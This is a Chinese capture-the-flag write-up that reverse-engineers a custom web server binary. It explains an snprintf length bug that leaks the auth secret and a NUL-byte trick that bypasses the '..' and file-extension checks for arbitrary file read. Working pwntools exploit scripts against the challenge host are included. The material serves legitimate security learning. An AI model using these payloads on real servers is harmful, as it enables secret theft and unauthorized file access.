寻找来自星星的你第二期Writeup

三个白帽之寻找来自星星的你第二期WP,这期的题目我觉得应该放在Linux逆向分类中…

IDA静态+GDB动态可以降低本地难度,通过IDA发现还需要有一个server.cfg文件,被读入了32bytes,路径在server.bin的上一层,创建完server.cfg文件后,随便输入32个A,然后允许该脚本:$ ./server.bin 8888 ./, 该进程将会在后台运行,使用$ nc 127.0.0.1 8888,后通过$ ps aux|grep server.bin查看子进程号(将会有两个server.bin进程,一个是主进程一个子进程,注意区分), 然后使用$ gdb a 进程号 attach进程进行动态调试
baimao2

baimao3

不过使用nc不能输入非可显字符,所以建议用pwntools.

本题的入口在sub_401B08函数,不过对解本题没啥帮助,所以可以跳到子进程的入口点sub_4014D3, 所以我们应该从该函数看起.

1
2
3
4
5
if ( !strncasecmp(::s1, "GET /server.bin", 0xFuLL) )
{
file = "/server.bin";
v11 = (__int64)"image/bin";
}

第一个判断,也就是下载本题二进制文件,没啥好说的,主要是从后面开始有几个重要的判断,首先

1
2
3
if ( strncasecmp(::s1, "GET", 3uLL) )
sub_40133B(2, 4202955LL, 4202720LL, a1);
// 输入的前三个字符串要是GET,不区分大小写

PS: 这里注意下,sub_40133B 函数的第一个参数为2,则是执行报错退出.

接下来

1
2
3
4
5
6
7
qword_606248 = (__int64)strstr(::s1, "HTTP/1.0");
if ( !qword_606248 )
{
qword_606248 = (__int64)strstr(::s1, "HTTP/1.1");
if ( !qword_606248 )
sub_40133B(2, 4202929LL, 4202720LL, a1);
}

然后传入的参数要存在HTTP/1.0或者HTTP/1.1字符串.

接下来就是第一步的关键点了,

1
2
3
4
5
6
7
8
9
10
11
12
haystack = strstr(::s1, "Cookie: ");
if ( !haystack )
sub_40133B(2, 4202908LL, 4202720LL, a1);
s = strstr(haystack, "auth=");
if ( !s )
sub_40133B(2, 0x4021E6LL, 0x4020E0LL, a1);
sa = (__int64)(s + 5);
if ( strlen((const char *)sa) > 0x40 )
sub_40133B(2, 4203002LL, 4202720LL, a1);
sub_400F12((__int64)&s1, sa);
if ( memcmp(&s1, s2, 0x20uLL) )
sub_40133B(2, 4203032LL, 4202720LL, a1);

我们需传入Cookie参数,格式是Cookie: auth=xxxxx, xxxxx的长度不能大于0x40, 然后把sa传入sub_400F12函数, 进行一系列迷之处理后,赋值到s1,然后和s2比较前0x20个byte.

s2是啥?s2是传入sub_4014D3的第三个参数,来溯源一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//sub_4014D3
void __fastcall __noreturn sub_4014D3(unsigned int a1, unsigned int a2, const void *a3)
{
...
s2 = a3;
...
//sub_401B08
...
sub_401125("../server.cfg", &v11);
...
sub_4014D3(v9, i, &v11);
//sub_401125
int __fastcall sub_401125(const char *a1, char *a2)
{
FILE *stream; // [sp+20h] [bp-10h]@1
char *v4; // [sp+28h] [bp-8h]@1
stream = fopen(a1, "r");
fgets(a2, 32, stream);
v4 = strpbrk(a2, "\r\n");
if ( v4 )
*v4 = 0;
return fclose(stream);
}

s2为../server.cfg文件中的前32bytes字符串,属于未知,本题的第一步就是想办法得到s2的值或者绕过cookie认证.

之后在报错退出的方法中看到一个函数sub_401195

1
2
3
4
5
6
7
8
9
10
11
12
//sub_40133B
else if ( a1 == 2 )
{
sub_401195(v10, 0x194u, 0x4020E0LL);
sprintf(s, "<HTML><BODY><H1>WebServer: %s %s</H1></BODY></HTML>", a2, v9);
v6 = strlen(s);
sub_4012E7(v10, s, v6);
sprintf(s, "SORRY: %s-%s", a2, v9);
}
//sub_401195
v4 = snprintf(&s, 0x100uLL, "%s %d %s\r\n", v3, a2, a3);
result = write(fd, &s, v4);

通过google查找snprintf文档发现,该函数的功能我用python来表达下

1
2
3
tmp = "%s %d %s\r\n"%(v3, a2, a3)
s = tmp[:0x100]
v4 = len(tmp)

问题就出在这了,v4的值为len(tmp)而不是len(s).
这里的v3是可控的,所以我们可以通过控制v3来控制v4的值,然后通过result = write(fd, &s, v4);
泄露内存,做到这,第一步的思路已经很明了了,就是通过内存泄露来获取s2的值

通过本地调试,发现

1
2
3
0x7ffe453 2ffb0 //s的地址
0x7ffe453 30210 //s2的地址

接下来就简单了,直接贴payload:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'
r = remote('123.59.56.23', 43481)
payload = 'GET /tmp/a\nHTTP/1.0' + 'g'*(608+3) + 'Cookie: auth=x\n'
r.send(payload)
while True:
r.recv()

baimao
得到../server.cfg中32bytes的内容.

接下来就是分析sub_400F12函数,发现是一个base64decode函数,那就简单了,把这32bytes内容进行base64编码后加入cookie中.

进入下一步,继续代码
代码贴出来分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
....
for ( i = 0LL; i < (signed __int64)n; ++i )
{
if ( *(_BYTE *)(i + 0x605240) == 0xD || *(_BYTE *)(i + 0x605240) == 0xA )
*(_BYTE *)(i + 0x605240) = 0;
}
// \n和\r都会转换成\0
....
file = (char *)&unk_605244;
v8 = strlen((const char *)&unk_605244);
v15 = 0LL;
while ( v8 > v15 && isspace(file[v15]) )
{
++v15;
++file;
} // 去除开头的空格
for ( j = 0LL; ; ++j )
{
if ( strlen(file) <= j )
goto LABEL_38;
if ( isspace(file[j]) )
break;
}
file[j] = 0; //把遇到的第一个空格转换成\0
LABEL_38:
v9 = strlen(file);
for ( k = 0; k < v9; ++k )
{
if ( file[k] == 0x2E && file[k + 1] == 0x2E )
sub_40133B(2, 4203054LL, (__int64)file, a1);
} // file中不能存在连续的0x2E(.)字符
v11 = 0LL;
for ( l = 0LL; ; ++l )
{
if ( !off_603160[2 * l] )
goto LABEL_49;
v3 = (signed int)strlen(off_603160[2 * l]);
v4 = off_603160[2 * l];
v5 = strlen(file);
if ( !strncmp(&file[v5 - v3], v4, v3) )
break;
}
v11 = (__int64)off_603160[2 * l + 1]; //后缀判断
LABEL_49:
if ( !v11 )
sub_40133B(2, 4203080LL, 4202720LL, a1);
}
filea = (__int64)(file + 1);
v10 = open((const char *)filea, 0, s2);

后缀判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x401f20: "gif"
0x401f24: "image/gif"
0x401f2e: "jpg"
0x401f32: "image/jpeg"
0x401f3d: "png"
0x401f41: "image/png"
0x401f4b: "htm"
0x401f4f: "text/html"
0x401f59: "xml"
0x401f5d: "text/xml"
0x401f66: "tz"
0x401f69: "image/gz"
0x401f72: "js"
0x401f75: "text/js"
0x401f7d: "css"
0x401f81: "text/css"
// 允许的后缀有8个: git, jpg, png, htm, xml, tz, js, css

根据上面的注释,我们一个一个的bypass限制,先来看看怎么bypass ..的限制,
来看这句代码

1
2
filea = (__int64)(file + 1);
v10 = open((const char *)filea, 0, s2);

最后打开的路径为filea,如果filea中存在..而file中不存在..不就可以绕过了吗?而filea=file+1, 所以这就存在一种情况,
file=\0../xxx -> filea=../xxx
所以,strlen(file) == 0,从而bypass这段代码:

1
2
3
4
5
6
v9 = strlen(file);
for ( k = 0; k < v9; ++k )
{
if ( file[k] == 0x2E && file[k + 1] == 0x2E )
sub_40133B(2, 4203054LL, (__int64)file, a1);
}

接下来就想想如何bypass后缀名,

1
2
3
4
5
6
7
if ( !off_603160[2 * l] )
goto LABEL_49;
v3 = (signed int)strlen(off_603160[2 * l]);
v4 = off_603160[2 * l];
v5 = strlen(file);
if ( !strncmp(&file[v5 - v3], v4, v3) )
break;

这串是后缀判断的代码,按照前面bypass..的情况,v5=0, v3 == 2 || v3 == 3, 所以进行比较的字符串为file[-2] || file[-3]

1
file = (char *)&unk_605244;

所以我们可以构造出一个payload:getz\n../xxx (PS: \0需要通过\n或者\r进行转换)
那么我们可以得到:

1
2
3
file = "\0../xxx"
file[1:] = "../xxx"
file[-2] = "tz"

完美绕过所以判断,可以进行任意文件读取,payload:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'
r = remote('123.59.56.23', 43481)
payload = "GEtz\n../server.cfg\nHTTP/1.0 Cookie: auth=BAjSrP9/AABm7NKs/38AAFgE0qz/fwAAEsjSrP9/AAA"
r.send(payload)
while True:
r.recv()

flag就在../server.cfg文件中

做完这题后发现自己的逆向能力还是太差了,以后多做写逆向题….

文章目录